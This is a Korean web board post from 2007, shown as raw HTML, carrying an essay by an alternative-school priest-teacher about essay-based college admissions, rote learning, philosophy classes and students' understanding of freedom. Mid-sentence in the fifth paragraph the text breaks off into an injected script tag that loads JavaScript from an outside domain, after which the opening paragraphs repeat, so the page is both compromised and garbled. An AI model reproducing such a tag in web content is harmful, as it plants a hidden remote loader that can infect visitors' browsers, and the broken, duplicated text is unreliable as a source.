술중에 뜨는 술
작성자 : 후원회 | 조회수 : 3,284 | 작성일 : 2007년 2월 7일
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<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>요즘 학교현장에서 술중에 뜨는 술이 있는데 ‘논술’이라는 것이다. 학교 현장은 이 술을 받아 안고는 어떤 맛인지 몰라 곤혹스런 표정들이다. 또한 그 술이 마침 대학입학에 쓰여 진다니 더욱 맛이 좋을 리가 없다. 방학인데도 교사들은 이 술의 제조법을 터득하느라 바쁘고, 대학들은 학생들이 빚은 술의 맛을 평가할 줄 몰라 당황한다. 학문의 학문이라는 ‘철학’을 교육과정에서 탐탁지 않게 여기는 나라에서 갑자기 철학적 사고를 바탕으로 지식의 통합을 요하는 논술을 내어놓고 술맛 나게 하라니 이것은 억지에 가깝다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>학교의 교사들은 이것이 너희가 먹을 지식이라며 자기 교과의 지식을 암기하기만을 강요했지, 교육과정에서 배운 여러 지식을 서로 관련지어 그 지식을 체계적으로 통합하여 성숙한 지식을 만들도록 교육하는 데는 많이 부족했다. 다시 말해 교과에서 배운 지식을 놓고 이 지식이 왜 필요한지, 왜 배워야 하는지, 무엇을 하자는 것인지는 전혀 고려치 않은 이런 상황 하에서 논술을 하라니 당황할 수밖에 없다.</FONT></SPAN></FONT><FONT face=돋움체> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> 대안학교 학생들은 생각과 경험을 많이 해서인지 놀라운<FONT face=돋움체> 대답이 많다. 한 가지 예로 철학시간에 “애들아, 중학교에서는 철학이란 과목이 없는데, 왜 여기에선 철학시간이 있는 거지?” 하고 질문을 던지자, 한 학생이 나서서 “중학생들은 철이 없어 어리잖아요. 고등학생 정도가 되면 아는 것도 복잡해지고 앎의 폭이 갑자기 커져요. ‘도대체, 왜요?’ 라는 의혹이 끊이질 않고 지식에 대한 의문을 곱씹고 그 해답을 얻으려니 그런 것 아닌가요?” 라고 답하는 것이다. 사실 대부분의 학생들은 지식을 습득하면서도 ‘도대체’ ‘왜’ 라는 사고를 할 겨를이 없는데, 이런 답변을 들려줄 수 있는 학생들은 이미 논술의 첫걸음을 시작한 것이 아닐까.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>한동안 학생들에게 자주 듣던 말 중에 “여긴 대안학교인데, 신부님은 왜 우릴 간섭하시지요?”</FONT> <FONT face=돋움체>하는 말이 있다. 학생들은 ‘자유’의 의미를 제멋대로 행동하는 것으로 해석했고, 아무 생각 없이 학교를 떠나 밖에서 서성거리곤 했었다. 나는 그들을 나무라기보다 그들이 잘못 생각하는 ‘자유’의 의미를 더 성숙된 지식으로 자리 잡도록 하는 데 중요시했다. 교육의 목적이라는 큰 그림을 그들 마음에 새겨주고 허한 지식을 성숙한 지식으로 자리 잡도록 도와주었다. 생각 속에 자란 지식은 성숙해 갔고, 이는 곧 올바른 행동을 끌어내는 ‘자유’로 성장해갔다. 이들이 ‘자유’라는 주제로 빚은 술은 그 맛도 좋을 것 같다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 요즘 학교현장에는 논술 책이 나돌고 그 내용을 통째로 암기하려는 모양인데, 이러한 방법으로는 좋은 논술이 나올 수 없다. 지식이 명제적 지식이 되게 하기 위해서는 합리적 사고 뿐 아니라 인간미 넘치는 설득력과 당위성을 지닌 검증된 성숙한 지식으로 구?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>요즘 학교현장에서 술중에 뜨는 술이 있는데 ‘논술’이라는 것이다. 학교 현장은 이 술을 받아 안고는 어떤 맛인지 몰라 곤혹스런 표정들이다. 또한 그 술이 마침 대학입학에 쓰여 진다니 더욱 맛이 좋을 리가 없다. 방학인데도 교사들은 이 술의 제조법을 터득하느라 바쁘고, 대학들은 학생들이 빚은 술의 맛을 평가할 줄 몰라 당황한다. 학문의 학문이라는 ‘철학’을 교육과정에서 탐탁지 않게 여기는 나라에서 갑자기 철학적 사고를 바탕으로 지식의 통합을 요하는 논술을 내어놓고 술맛 나게 하라니 이것은 억지에 가깝다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>학교의 교사들은 이것이 너희가 먹을 지식이라며 자기 교과의 지식을 암기하기만을 강요했지, 교육과정에서 배운 여러 지식을 서로 관련지어 그 지식을 체계적으로 통합하여 성숙한 지식을 만들도록 교육하는 데는 많이 부족했다. 다시 말해 교과에서 배운 지식을 놓고 이 지식이 왜 필요한지, 왜 배워야 하는지, 무엇을 하자는 것인지는 전혀 고려치 않은 이런 상황 하에서 논술을 하라니 당황할 수밖에 없다.</FONT></SPAN></FONT><FONT face=돋움체> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> 대안학교 학생들은 생각과 경험을 많이 해서인지 놀라운<FONT face=돋움체> 대답이 많다. 한 가지 예로 철학시간에 “애들아, 중학교에서는 철학이란 과목이 없는데, 왜 여기에선 철학시간이 있는 거지?” 하고 질문을 던지자, 한 학생이 나서서 “중학생들은 철이 없어 어리잖아요. 고등학생 정도가 되면 아는 것도 복잡해지고 앎의 폭이 갑자기 커져요. ‘도대체, 왜요?’ 라는 의혹이 끊이질 않고 지식에 대한 의문을 곱씹고 그 해답을 얻으려니 그런 것 아닌가요?” 라고 답하는 것이다. 사실 대부분의 학생들은 지식을 습득하면서도 ‘도대체’ ‘왜’ 라는 사고를 할 겨를이 없는데, 이런 답변을 들려줄 수 있는 학생들은 이미 논술의 첫걸음을 시작한 것이 아닐까.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체>한동안 학생들에게 자주 듣던 말 중에 “여긴 대안학교인데, 신부님은 왜 우릴 간섭하시지요?”</FONT> <FONT face=돋움체>하는 말이 있다. 학생들은 ‘자유’의 의미를 제멋대로 행동하는 것으로 해석했고, 아무 생각 없이 학교를 떠나 밖에서 서성거리곤 했었다. 나는 그들을 나무라기보다 그들이 잘못 생각하는 ‘자유’의 의미를 더 성숙된 지식으로 자리 잡도록 하는 데 중요시했다. 교육의 목적이라는 큰 그림을 그들 마음에 새겨주고 허한 지식을 성숙한 지식으로 자리 잡도록 도와주었다. 생각 속에 자란 지식은 성숙해 갔고, 이는 곧 올바른 행동을 끌어내는 ‘자유’로 성장해갔다. 이들이 ‘자유’라는 주제로 빚은 술은 그 맛도 좋을 것 같다.</FONT></SPAN> </FONT></P>
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